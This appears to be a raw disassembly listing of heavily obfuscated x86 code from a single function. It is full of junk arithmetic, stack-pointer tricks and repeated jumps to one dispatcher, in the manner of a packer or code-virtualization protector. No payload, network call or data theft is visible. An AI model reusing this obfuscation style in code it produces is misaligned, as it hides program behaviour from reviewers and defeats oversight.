		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_589756:				; CODE XREF: sub_581EE9+BA06j
		add	ebp, eax
		pop	eax
		or	eax, ebp
		mov	ebp, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_58ADFF
; ---------------------------------------------------------------------------


loc_589766:				; CODE XREF: sub_581EE9+ED18j
		mov	ebx, 655C6221h
		xor	ebx, eax
		pop	eax
		add	eax, ebx
		jmp	loc_58C931
; ---------------------------------------------------------------------------


loc_589775:				; CODE XREF: sub_581EE9+ACA6j
		push	ecx
		push	ebx
		jmp	loc_589CEE
; ---------------------------------------------------------------------------


loc_58977C:				; CODE XREF: sub_581EE9+4B49j
		push	edx
		push	esp
		pop	edx
		push	12E0h
		mov	[esp-6EB2h+arg_6EA8+2],	esi
		mov	esi, 4F154662h
		push	esi
		inc	[esp-6EAEh+arg_6EA4+2]
		jmp	loc_59040D
; ---------------------------------------------------------------------------


loc_589795:				; CODE XREF: sub_581EE9+A934j
		mov	cl, 0D2h
		jmp	loc_5907AD
; ---------------------------------------------------------------------------


loc_58979C:				; CODE XREF: sub_581EE9+98A0j
		pop	ecx
		add	eax, edi
		add	eax, 283508E7h
		pop	edi
		mov	ecx, [eax]
		mov	eax, [esp-6EB6h+arg_6EAC+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_589AB3
; ---------------------------------------------------------------------------


loc_5897BA:				; CODE XREF: sub_581EE9+8AE1j
		sub	ecx, ebx
		pop	ebx
		pop	edi
		xchg	ecx, [esp-6EBAh+arg_6EB2]
		mov	esp, [esp-6EBAh+arg_6EB2]
		div	cl
		movzx	cx, ah
		jmp	loc_587066
; ---------------------------------------------------------------------------


loc_5897CF:				; CODE XREF: sub_581EE9+A384j
		add	esi, edi
		push	[esp-6EBAh+arg_6EB2]
		pop	edi
		add	esp, 4
		jmp	loc_58A332
; ---------------------------------------------------------------------------


loc_5897E0:				; CODE XREF: sub_581EE9+A5DDj
		add	ebx, 0CBD011Ch
		pop	ebp
		pop	ebp
		sub	edx, 79C3515Fh
		sub	edx, 57A36863h
		push	ebp
		mov	ebp, 2A2F4F76h
		sub	ebp, 0B597F59Ah
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 6E4C75C4h
		or	ebx, 253A5199h
		dec	ebx
		sub	ebx, 12BA5456h
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		add	edx, 5CC42186h
		push	eax
		mov	eax, 749759DCh
		sub	edx, eax
		pop	eax
		push	eax
		push	edx
		push	eax
		mov	eax, 57A36863h
		mov	edx, eax
		jmp	loc_5866DE
; ---------------------------------------------------------------------------


loc_589839:				; CODE XREF: sub_581EE9+C2FCj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EBAh+arg_6EB2]
		pop	esp
		shl	esi, 6
		shr	esi, 1
		xor	esi, 3546D020h
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-6EBEh+arg_6EB6], eax
		xchg	eax, [esp-6EBEh+arg_6EB6]
		xchg	eax, ecx
		not	ecx
		push	567Ah
		mov	[esp-6EBAh+arg_6EB2], eax
		push	6E4Bh
		mov	[esp-6EB6h+arg_6EAC+2],	ecx
		pop	eax
		pop	ecx
		push	1251h
		mov	[esp-6EBAh+arg_6EB2], eax
		push	[esp-6EBAh+arg_6EB6]
		pop	eax
		jmp	loc_586B38
; ---------------------------------------------------------------------------


loc_589889:				; CODE XREF: sub_581EE9+49CFj
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	eax
		sub	esp, 4
		mov	[esp-6ED2h+arg_6ECA], esp
		push	ebp
		mov	ebp, 4
		sub	[esp-6ECEh+arg_6ECA], 577217EDh
		add	[esp-6ECEh+arg_6ECA], ebp
		add	[esp-6ECEh+arg_6ECA], 577217EDh
		pop	ebp
		jmp	loc_58AE6C
; ---------------------------------------------------------------------------


loc_5898BF:				; CODE XREF: sub_581EE9+9CDAj
		pop	ebx
		add	al, 21h
		jmp	loc_58C033
; ---------------------------------------------------------------------------


loc_5898C7:				; CODE XREF: sub_581EE9+997Ej
		xor	ebx, [esp-6ED6h+arg_6ECE]
		jmp	loc_5880E4
; ---------------------------------------------------------------------------


loc_5898CF:				; CODE XREF: sub_581EE9+73FBj
		add	edx, 31255E76h
		mov	ebx, edx
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		add	edi, 49560C5Ch
		sub	edi, ebx
		sub	edi, 49560C5Ch
		pop	ebx
		push	ecx
		push	0FFFFFFFFh
		pop	ecx
		jmp	loc_58B46F
; ---------------------------------------------------------------------------


loc_5898F8:				; CODE XREF: sub_581EE9+A6CBj
		add	ebx, 4
		jmp	loc_591583
; ---------------------------------------------------------------------------


loc_589900:				; CODE XREF: sub_581EE9+D860j
		mov	ecx, 4EB16A3Ch
		sub	eax, ecx
		pop	ecx
		jmp	loc_58F8BB
; ---------------------------------------------------------------------------


loc_58990D:				; CODE XREF: sub_581EE9+B35Dj
		shl	ecx, 7
		jmp	loc_58697E
; ---------------------------------------------------------------------------


loc_589915:				; CODE XREF: sub_581EE9+D1C9j
		add	esp, 4
		push	eax
		mov	eax, 19397BF4h
		not	eax
		xor	eax, 35B409FFh
		or	eax, 2769208Fh
		shl	eax, 8
		add	eax, 0A4AB7D94h
		add	ebp, eax
		jmp	loc_58EB44
; ---------------------------------------------------------------------------


loc_589939:				; CODE XREF: sub_581EE9+8A08j
		sub	esp, 4
		mov	[esp-6EB6h+arg_6EAC+2],	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_587B2D
; ---------------------------------------------------------------------------


loc_58994F:				; CODE XREF: sub_581EE9+68C2j
		pop	esi
		inc	ebx
		or	ebx, 35035EDAh
		add	ebx, 342006h
		jmp	loc_58BAEE
; ---------------------------------------------------------------------------


loc_589962:				; CODE XREF: sub_581EE9+D8C2j
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		mov	eax, 1
		mov	edx, eax
		pop	eax
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_58E07C
; ---------------------------------------------------------------------------


loc_589987:				; CODE XREF: sub_581EE9+DFDEj
		push	ebp
		push	[esp-6E86h+arg_6E80+2]
		pop	ebp
		pop	[esp-6E86h+arg_6E7C+2]
		pop	esp
		mov	[esp-6E8Eh+arg_6E84+2],	ebp
		jmp	loc_58A48C
; ---------------------------------------------------------------------------


loc_589999:				; CODE XREF: sub_581EE9+72F9j
		xchg	edx, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	word ptr [esp-6EC8h+arg_6EBE+2], bx
		mov	bl, 94h
		sub	esp, 4
		mov	[esp-6EC4h+arg_6EBA+2],	ebx
		push	3200h
		mov	[esp-6EC0h+arg_6EB6+2],	edx
		mov	dh, 68h
		jmp	loc_58FE12
; ---------------------------------------------------------------------------


loc_5899B8:				; DATA XREF: sub_581EE9+3AFFo
		push	[esp-6EC0h+arg_6EB6+2]
		push	[esp-6EBCh+arg_6EB2+2]
		mov	eax, [esp+0]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_58A486
; ---------------------------------------------------------------------------


loc_5899CB:				; CODE XREF: sub_581EE9+E8DFj
		mov	[esp-6EB4h+arg_6EAC], edx
		jmp	loc_589EC8
; ---------------------------------------------------------------------------


loc_5899D3:				; CODE XREF: sub_581EE9+8825j
		mov	[esp-6EB4h+arg_6EAC], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		jmp	loc_58950F
; ---------------------------------------------------------------------------


loc_5899E5:				; CODE XREF: sub_581EE9+4A2Aj
		sub	esp, 4
		mov	[esp-6ED0h+arg_6EC6+2],	edi
		jmp	loc_58FEEA
; ---------------------------------------------------------------------------


loc_5899F3:				; DATA XREF: sub_581EE9+3B0Bo
		neg	[esp-6ED0h+arg_6EC6+2]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5899FC:				; DATA XREF: sub_581EE9+3D6Bo
		pop	dword ptr [edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_589A03:				; CODE XREF: sub_581EE9+94D5j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		mov	[esp-6ED4h+arg_6ECA+2],	esi
		mov	esi, 25FF42F0h
		add	esi, 7C482DD2h
		dec	esi
		add	esi, 9EFAE40Bh
		jmp	loc_58F361
; ---------------------------------------------------------------------------


loc_589A2D:				; CODE XREF: sub_581EE9+D7C2j
		push	eax
		jmp	loc_58670F
; ---------------------------------------------------------------------------


loc_589A33:				; CODE XREF: sub_581EE9+5F8Aj
		mov	ecx, [esp-6EE4h+arg_6EDC]
		jmp	loc_5864DB
; ---------------------------------------------------------------------------


loc_589A3B:				; CODE XREF: sub_581EE9+495Fj
		push	small 6353h
		mov	word ptr [esp-6EC2h+arg_6EBA], cx
		xor	word ptr [esp-6EC2h+arg_6EBA], dx
		xor	dx, word ptr [esp-6EC2h+arg_6EBA]
		xor	word ptr [esp-6EC2h+arg_6EBA], dx
		not	dx
		push	dx
		push	small word ptr [esp-6EC0h+arg_6EBA]
		pop	dx
		pop	small word ptr [esp-6EC0h+arg_6EB6+2]
		pop	cx
		xor	word ptr [esp-6EC4h+arg_6EBA+2], cx
		xor	cx, word ptr [esp-6EC4h+arg_6EBA+2]
		xor	word ptr [esp-6EC4h+arg_6EBA+2], cx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_589A72:				; CODE XREF: sub_581EE9+BA68j
		mov	esi, 0FB83E727h
		add	esi, ebx
		pop	ebx
		jmp	loc_58633E
; ---------------------------------------------------------------------------


loc_589A7F:				; CODE XREF: sub_581EE9+F765j
		pop	ebp
		or	ebp, 411A521Fh
		neg	ebp
		jmp	loc_587808
; ---------------------------------------------------------------------------


loc_589A8D:				; CODE XREF: sub_581EE9+FC92j
		add	ebx, edi
		pop	edi
		and	eax, ebx
		push	[esp-6ED0h+arg_6EC6+2]
		mov	ebx, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6ECCh+arg_6EC2+2],	ebx
		mov	ebx, esp
		jmp	loc_587D1C
; ---------------------------------------------------------------------------


loc_589AAB:				; CODE XREF: sub_581EE9+D319j
		pop	eax
		not	dh
		jmp	loc_5867AD
; ---------------------------------------------------------------------------


loc_589AB3:				; CODE XREF: sub_581EE9+78CCj
		xchg	eax, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		jmp	loc_58BC16
; ---------------------------------------------------------------------------


loc_589ABC:				; CODE XREF: sub_581EE9+581Aj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_589AC1:				; CODE XREF: sub_581EE9+E843j
		or	dh, 1
		or	dh, 53h
		shr	dh, 1
		xor	dh, 13h
		jmp	loc_58A61A
; ---------------------------------------------------------------------------


loc_589AD1:				; CODE XREF: sub_581EE9+50F3j
		xor	esi, 5EF341A4h
		sub	ebp, esi
		pop	esi
		mov	edi, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		push	34D2h
		mov	[esp-6EFEh+arg_6EF6], ebp
		push	[esp-6EFEh+arg_6EFA]
		pop	ebp
		pop	[esp-6EFEh+arg_6EF6]
		jmp	loc_58D28C
; ---------------------------------------------------------------------------


loc_589AF5:				; CODE XREF: sub_581EE9+9ACBj
		mov	ecx, 42772C2Ah
		xor	ecx, 2B6572A6h
		jmp	loc_590088
; ---------------------------------------------------------------------------


loc_589B05:				; CODE XREF: sub_581EE9+44C0j
		mov	ecx, 7FCD2BCDh
		inc	ecx
		push	edi
		mov	edi, 86A52AAh
		add	ecx, 3EDE407Fh
		jmp	loc_58F412
; ---------------------------------------------------------------------------


loc_589B1C:				; CODE XREF: sub_581EE9+A541j
		push	edi
		mov	edi, 6AE24D03h
		neg	edi
		neg	edi
		inc	edi
		not	edi
		xor	edi, 951DB2F9h
		add	ebx, 8176F04h
		sub	ebx, 337814D1h
		jmp	loc_58AD19
; ---------------------------------------------------------------------------


loc_589B40:				; CODE XREF: sub_581EE9+9DC7j
		xor	al, bl
		push	ebx
		push	edx
		mov	dl, 3Fh
		neg	dl
		push	bx
		mov	bh, 0CFh
		xor	dl, bh
		jmp	loc_588BE8
; ---------------------------------------------------------------------------


loc_589B53:				; CODE XREF: sub_581EE9+EF78j
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_58CBFA
; ---------------------------------------------------------------------------


loc_589B5C:				; CODE XREF: sub_581EE9+8AAEj
		add	eax, 4
		xchg	eax, [esp-6ED2h+arg_6ECA]
		pop	esp
		jmp	loc_588423
; ---------------------------------------------------------------------------


loc_589B6A:				; CODE XREF: sub_581EE9+A7E4j
		pop	edx
		jmp	loc_58C15D
; ---------------------------------------------------------------------------


loc_589B70:				; CODE XREF: sub_581EE9+7CF8j
		sub	esi, 0F127DF05h
		add	edi, esi
		pop	esi
		pop	ebp
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		push	edi
		jmp	loc_5866E6
; ---------------------------------------------------------------------------


loc_589B91:				; CODE XREF: sub_581EE9+4000j
		pop	eax
		pop	esi
		xchg	edi, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		push	6684h
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		push	edx
		jmp	loc_58F930
; ---------------------------------------------------------------------------


loc_589BB6:				; CODE XREF: sub_581EE9+D9E5j
		sub	eax, edi
		mov	edi, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		push	edx
		mov	edx, 4EB16A3Ch
		add	eax, 7C1204ACh
		add	eax, 50981DF8h
		add	eax, edx
		jmp	loc_58F8AB
; ---------------------------------------------------------------------------


loc_589BD5:				; CODE XREF: sub_581EE9+FBA5j
		sub	esi, 2D167942h
		or	esi, 5A552D66h
		jmp	loc_589B70
; ---------------------------------------------------------------------------


loc_589BE6:				; CODE XREF: sub_581EE9+4D7Cj
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_591B12
; ---------------------------------------------------------------------------


loc_589BFB:				; CODE XREF: sub_581EE9+DCE8j
		mov	eax, [esp-6ED8h+arg_6ECE+2]
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	edx
		mov	edx, esp
		push	5CECh
		mov	[esp-6ED0h+arg_6EC6+2],	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_58D0D3
; ---------------------------------------------------------------------------


loc_589C1B:				; CODE XREF: sub_581EE9+B53Bj
		xor	ecx, 984105h
		push	ecx
		jmp	loc_58F6DD
; ---------------------------------------------------------------------------


loc_589C27:				; CODE XREF: sub_581EE9+F500j
		sub	ecx, 245A2A3Eh
		add	esi, ecx
		pop	ecx
		push	2C02h
		jmp	loc_58E389
; ---------------------------------------------------------------------------


loc_589C3A:				; CODE XREF: sub_581EE9+68F2j
		mov	edx, 347B32A3h
		xor	ecx, edx
		pop	edx
		sub	eax, ecx
		pop	ecx
		jmp	loc_5888B3
; ---------------------------------------------------------------------------


loc_589C4A:				; CODE XREF: sub_581EE9+C815j
		sub	eax, 4
		xchg	eax, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		push	esp
		pop	[esp-6ED8h+arg_6ECE+2]
		push	48Eh
		jmp	loc_58E137
; ---------------------------------------------------------------------------


loc_589C61:				; CODE XREF: sub_581EE9+8746j
		mov	[esp-6ED8h+arg_6ECE+2],	edi
		mov	edi, 5F0D0B94h
		push	ecx
		push	edx
		mov	edx, 21AA2D95h
		jmp	loc_58C8C1
; ---------------------------------------------------------------------------


loc_589C75:				; CODE XREF: sub_581EE9+ACD2j
		mov	edx, [esp-6ED0h+arg_6EC6+2]
		add	esp, 4
		xor	edx, 64862DDDh
		jmp	loc_58D1B8
; ---------------------------------------------------------------------------


loc_589C89:				; CODE XREF: sub_581EE9+BF45j
		mov	ebp, 34672A66h
		sub	[edi+20h], ebp
		push	[esp-6ED4h+arg_6ECA+2]
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_5861F4
; ---------------------------------------------------------------------------


loc_589C9D:				; CODE XREF: sub_581EE9+C795j
		add	ecx, 71F57B38h
		add	ecx, ebx
		sub	ecx, 71F57B38h
		pop	ebx
		jmp	loc_58FE63
; ---------------------------------------------------------------------------


loc_589CB1:				; CODE XREF: sub_581EE9+BF58j
		pop	ecx
		add	esp, 4
		shr	ebp, 1
		jmp	loc_588FA5
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: sub_581EE9+9D1Ej
		mov	edx, [esp-6EDCh+arg_6ED2+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58D522
; ---------------------------------------------------------------------------


loc_589CD0:				; CODE XREF: sub_581EE9+6C20j
		shr	esi, 6
		neg	esi
		jmp	loc_5917AC
; ---------------------------------------------------------------------------


loc_589CDA:				; CODE XREF: sub_581EE9+4242j
		mov	esp, [esp-6EB2h+arg_6EA8+2]
		add	edx, 4
		add	edx, 2
		jmp	loc_591427
; ---------------------------------------------------------------------------


loc_589CEE:				; CODE XREF: sub_581EE9+788Ej
		mov	bl, 0A9h
		mov	ch, 0C4h
		add	ch, bl
		pop	ebx
		dec	ch
		shl	ch, 1
		jmp	loc_58F010
; ---------------------------------------------------------------------------


loc_589CFE:				; CODE XREF: sub_581EE9+99D5j
		xor	[esp-6EDEh+arg_6ED6], esi
		xor	esi, [esp-6EDEh+arg_6ED6]
		mov	esp, [esp-6EDEh+arg_6ED6]
		jmp	loc_591572
; ---------------------------------------------------------------------------


loc_589D0C:				; CODE XREF: sub_581EE9+AF98j
		mov	edi, esp
		push	edx
		mov	edx, 398D26D4h
		push	esi
		mov	esi, 0AB9194Dh
		and	edx, esi
		pop	esi
		push	edi
		mov	edi, 222357FAh
		xor	edi, 23ED77AFh
		xor	edi, 244A6D41h
		add	edx, edi
		pop	edi
		inc	edx
		xor	edx, 2E0D4D5Dh
		add	edi, edx
		mov	edx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_58EACE
; ---------------------------------------------------------------------------


loc_589D52:				; CODE XREF: sub_581EE9+6227j
		push	ebp
		jmp	loc_58826B
; ---------------------------------------------------------------------------


loc_589D58:				; CODE XREF: sub_581EE9+CD7Cj
		not	ebx
		jmp	loc_58BB08
; ---------------------------------------------------------------------------


loc_589D5F:				; CODE XREF: sub_581EE9+DF0Cj
		or	edi, 2D491BD4h
		xor	edi, 77C9575Dh
		neg	edi
		jmp	loc_589F81
; ---------------------------------------------------------------------------


loc_589D72:				; CODE XREF: sub_581EE9+77B8j
		mov	eax, edi
		pop	edi
		push	ebx
		jmp	loc_59132F
; ---------------------------------------------------------------------------


loc_589D7B:				; CODE XREF: sub_581EE9+B9A9j
		add	ebx, 4
		push	esi
		mov	esi, 38B51920h
		sub	esi, 56B828E4h
		neg	esi
		dec	esi
		shr	esi, 8
		add	esi, 52675551h
		add	esi, 0AD7AA7A2h
		jmp	loc_590A0F
; ---------------------------------------------------------------------------


loc_589DA4:				; CODE XREF: sub_581EE9+AC85j
		mov	eax, 4
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp-6E94h+arg_6E8A+2]
		pop	esp
		add	bl, 0E3h
		push	ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	eax
		jmp	loc_586465
; ---------------------------------------------------------------------------


loc_589DC9:				; CODE XREF: sub_581EE9+CE89j
		add	edi, edx
		pop	edx
		add	edi, 2
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		jmp	loc_58DFDB
; ---------------------------------------------------------------------------


loc_589DE4:				; CODE XREF: sub_581EE9+A536j
		mov	dl, 18h
		sub	al, dl
		pop	edx
		push	dx
		jmp	loc_58D513
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E96h+arg_6E8E]
		push	5196h
		jmp	loc_5915C9
; ---------------------------------------------------------------------------


loc_589DFE:				; DATA XREF: sub_581EE9+3D63o
		push	[esp-6E92h+arg_6E8A]
		pop	eax
		jmp	loc_58DCB0
; ---------------------------------------------------------------------------


loc_589E07:				; CODE XREF: sub_581EE9+B563j
		push	esp
		pop	ebp
		jmp	loc_5890BC
; ---------------------------------------------------------------------------


loc_589E0E:				; CODE XREF: sub_581EE9+8EF5j
		mov	eax, 594A181Eh
		add	eax, 82A1936h
		add	eax, 14A214BCh
		mov	edx, eax
		pop	eax
		or	edx, 5A027BA1h
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		jmp	loc_58F4F1
; ---------------------------------------------------------------------------


loc_589E35:				; CODE XREF: sub_581EE9+C882j
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		sub	edi, 0F30EE9B2h
		push	edi
		sub	dword ptr [esp], 0E015782h
		jmp	loc_58D662
; ---------------------------------------------------------------------------


loc_589E4E:				; CODE XREF: sub_581EE9+E3ADj
		add	esp, 4
		jmp	loc_58B361
; ---------------------------------------------------------------------------


loc_589E59:				; CODE XREF: sub_581EE9+B003j
		push	esi
		push	6092h
		push	esp
		pop	[esp-6E86h+arg_6E7C+2]
		add	[esp-6E8Ah+arg_6E80+2],	4
		jmp	loc_58A00F
; ---------------------------------------------------------------------------


loc_589E6C:				; CODE XREF: sub_581EE9+E35Aj
		pop	ebx
		add	esp, 4
		pop	[esp-6E92h+arg_6E8A]
		mov	esp, [esp-6E96h+arg_6E8E]
		add	esp, 4
		push	157Eh
		mov	[esp-6E96h+arg_6E8E], edi
		mov	edi, 29A852F3h
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], edx
		mov	edx, 7A077C8Ch
		jmp	loc_58A9AE
; ---------------------------------------------------------------------------


loc_589E9C:				; CODE XREF: sub_581EE9+EFAEj
		xchg	ah, ch
		not	ah
		xchg	ah, ch
		push	5BF6h
		mov	[esp-6E8Eh+arg_6E84+2],	eax
		push	ebx
		mov	bl, dl
		mov	al, bl
		mov	ebx, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		mov	dl, ch
		mov	ch, al
		pop	eax
		not	dl
		xor	ch, dl
		xor	dl, ch
		jmp	loc_5891E7
; ---------------------------------------------------------------------------


loc_589EC8:				; CODE XREF: sub_581EE9+7AE5j
		mov	dh, 0A1h
		mov	al, dh
		jmp	loc_58ED77
; ---------------------------------------------------------------------------


loc_589ED1:				; CODE XREF: sub_581EE9+F84Bj
		mov	ebx, 14726FE7h
		and	edi, ebx
		mov	ebx, [esp-6EB4h+arg_6EAC]
		add	esp, 4
		sub	edi, 4104A0Bh
		jmp	loc_588C86
; ---------------------------------------------------------------------------


loc_589EE9:				; CODE XREF: sub_581EE9+87F9j
		add	esp, 4
		add	esi, 4
		jmp	loc_5886C8
; ---------------------------------------------------------------------------


loc_589EF7:				; CODE XREF: sub_581EE9+7131j
		mov	ecx, [esp-6EA8h+arg_6E9E+2]
		push	eax
		jmp	loc_587FAF
; ---------------------------------------------------------------------------


loc_589F00:				; DATA XREF: sub_581EE9+3CEFo
		lodsb
		jmp	loc_590661
; ---------------------------------------------------------------------------


loc_589F06:				; CODE XREF: sub_581EE9+841Fj
		xor	al, bl
		push	edx
		jmp	loc_586A60
; ---------------------------------------------------------------------------


loc_589F0E:				; CODE XREF: sub_581EE9+A446j
		add	esi, eax
		pop	eax
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		pop	[esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		mov	ax, word ptr [esp-6EA8h+arg_6E9E+2]
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	ebx
		push	esp
		mov	ebx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_58D6A6
; ---------------------------------------------------------------------------


loc_589F39:				; CODE XREF: sub_581EE9+A339j
		not	bh
		push	ecx
		mov	ch, 0Eh
		shl	ch, 2
		shr	ch, 1
		sub	ch, 6Dh
		jmp	loc_58C56D
; ---------------------------------------------------------------------------


loc_589F4B:				; CODE XREF: sub_581EE9+73C9j
		add	edi, 0FFFFFFFFh
		sub	edi, 1
		shr	edi, 8
		push	esi
		mov	esi, 61623AE9h
		dec	esi
		shr	esi, 7
		shr	esi, 8
		push	esi
		jmp	loc_58A430
; ---------------------------------------------------------------------------


loc_589F6D:				; DATA XREF: sub_581EE9+3D77o
		mov	cx, word ptr [esp-6EB2h+arg_6EA8+2]
		push	ebx
		mov	ebx, esp
		push	788Ah
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edi
		jmp	loc_58B271
; ---------------------------------------------------------------------------


loc_589F81:				; CODE XREF: sub_581EE9+7E84j
		neg	edi
		add	edi, 656B735Bh
		add	edx, edi
		pop	edi
		jmp	loc_587FF8
; ---------------------------------------------------------------------------


loc_589F91:				; CODE XREF: sub_581EE9+5925j
		and	ecx, ebp
		pop	ebp
		jmp	loc_587DF9
; ---------------------------------------------------------------------------


loc_589F99:				; DATA XREF: sub_581EE9+3B33o
		mov	ecx, [esp-6EC8h+arg_6EBE+2]
		push	6E54h
		mov	[esp-6EC4h+arg_6EBA+2],	eax
		push	esp
		mov	eax, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_586671
; ---------------------------------------------------------------------------


loc_589FAD:				; CODE XREF: sub_581EE9+B439j
		sub	esp, 4
		jmp	loc_58A823
; ---------------------------------------------------------------------------


loc_589FB5:				; CODE XREF: sub_581EE9+D44Aj
		add	esi, eax
		pop	eax
		push	esi
		push	[esp-6EBCh+arg_6EB6+2]
		pop	esi
		pop	[esp-6EBCh+arg_6EB2+2]
		pop	esp
		jmp	loc_58A5A6
; ---------------------------------------------------------------------------


loc_589FC7:				; CODE XREF: sub_581EE9+A527j
		sub	eax, 4E403075h
		pop	edx
		pop	ebx
		jmp	loc_5915A0
; ---------------------------------------------------------------------------


loc_589FD3:				; CODE XREF: sub_581EE9+B270j
		push	edx
		mov	edx, 5B9D477Eh
		and	eax, edx
		jmp	loc_58DF76
; ---------------------------------------------------------------------------


loc_589FE0:				; CODE XREF: sub_581EE9+3F4Aj
		push	[esp-6ED4h+arg_6ECE+2]
		jmp	loc_58ABE8
; ---------------------------------------------------------------------------


loc_589FE9:				; CODE XREF: sub_581EE9+9EA4j
		add	esi, 0A433B5ABh
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_589FF4:				; CODE XREF: sub_581EE9+DA78j
		add	al, 2Bh
		pop	ebx
		push	ax
		push	ecx
		mov	cl, 52h
		push	edx
		jmp	loc_59182F
; ---------------------------------------------------------------------------


loc_58A002:				; DATA XREF: sub_581EE9+3AFBo
		push	62A6h
		mov	[esp-6EC6h+arg_6EBE], ecx
		jmp	loc_586DFE
; ---------------------------------------------------------------------------


loc_58A00F:				; CODE XREF: sub_581EE9+7F7Ej
		pop	esi
		add	esi, 4
		push	eax
		push	esi
		push	6C571385h
		pop	esi
		add	esi, 93A8EC7Fh
		push	edx
		mov	edx, esi
		jmp	loc_58FEAF
; ---------------------------------------------------------------------------


loc_58A02C:				; CODE XREF: sub_581EE9+FD02j
		or	eax, 34B653B4h
		add	eax, 3412848h
		sub	esi, 31F70D52h
		add	esi, eax
		push	ecx
		jmp	loc_58B8A3
; ---------------------------------------------------------------------------


loc_58A044:				; CODE XREF: sub_581EE9+E2DBj
		add	al, ch
		jmp	loc_58850A
; ---------------------------------------------------------------------------


loc_58A04B:				; CODE XREF: sub_581EE9+F4BBj
		pop	ecx
		pop	dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		mov	[esp-6E8Ah+arg_6E80+2],	edi
		push	241Ah
		push	esp
		pop	dword ptr [esp-6E82h+arg_6E7A]
		push	ecx
		jmp	loc_58B38D
; ---------------------------------------------------------------------------


loc_58A062:				; CODE XREF: sub_581EE9+D386j
		pop	ecx
		push	ebx
		jmp	loc_58E40A
; ---------------------------------------------------------------------------


loc_58A069:				; CODE XREF: sub_581EE9+60F8j
		and	edx, 3961537Bh
		jmp	loc_58AEED
; ---------------------------------------------------------------------------


loc_58A074:				; CODE XREF: sub_581EE9+697Dj
		pop	edx
		push	ebp
		push	[esp-6EB6h+arg_6EB2]
		pop	ebp
		jmp	loc_5871A4
; ---------------------------------------------------------------------------


loc_58A080:				; CODE XREF: sub_581EE9+EA91j
		push	small 50ACh
		mov	word ptr [esp-6EB4h+arg_6EAC], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A08D:				; DATA XREF: sub_581EE9+3C03o
		push	37ADh
		push	3997h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_590AF3
; ---------------------------------------------------------------------------


loc_58A0A6:				; CODE XREF: sub_581EE9+CBC0j
		or	edx, 697939F9h
		neg	edx
		inc	edx
		and	edx, 1E357285h
		or	edx, 48C57569h
		jmp	loc_58E666
; ---------------------------------------------------------------------------


loc_58A0C0:				; CODE XREF: sub_581EE9+E717j
		mov	al, bh
		pop	bx
		add	al, 7
		push	ebx
		jmp	loc_58B750
; ---------------------------------------------------------------------------


loc_58A0CC:				; CODE XREF: sub_581EE9+8644j
		push	1222h
